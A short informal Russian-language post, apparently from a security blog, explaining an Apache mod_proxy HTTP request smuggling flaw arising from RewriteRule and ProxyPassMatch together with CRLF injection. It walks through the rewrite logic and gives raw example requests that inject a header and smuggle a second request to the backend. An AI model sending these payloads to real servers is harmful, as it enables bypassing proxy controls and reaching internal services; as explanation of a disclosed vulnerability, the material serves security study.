Где-то в апреле была шумиха с новой вулной в Apache, когда
mod_proxy вместе с правилами RewriteRule и ProxyPassMatch, приводил к HTTP-Request-SmugglingВ первом случае был следующий прикол
Пользователь запрашивает URL
https://testik.com/categories/1, а RewriteRule сопоставляет URL и захватывает значение 1 с помощью регулярного выражения ^/categories/(.*). Затем правило переписывает URL на http://testik.com:8080/categories?id=1, добавляя перехваченное значение к переписанному URL в качестве id параметра запроса.ProxyPassReverse, уже просто заменяет домен и адрес внутреннего сервера на домен и адрес прокси-сервера, чтобы клиент мог правильно переходить по ссылкам и получать доступ к контенту с проксированного внутреннего сервера /categories/ http://example-shop.com:8080/. Весело, да?Плюс, замечу, что Apache был уязвим еще к
CRLF-injection, который нам будет нужен в дальнейшемДля его эксплуатации мы уже имеем следующиим запрос
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: localhostИ теперь делаем смагглинг запрос
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: localhostИ ответ будет следующий
GET /categories.php?id=1 HTTP/1.1
Host: localhost
GET /SMUGGLED HTTP/1.1
Host: backend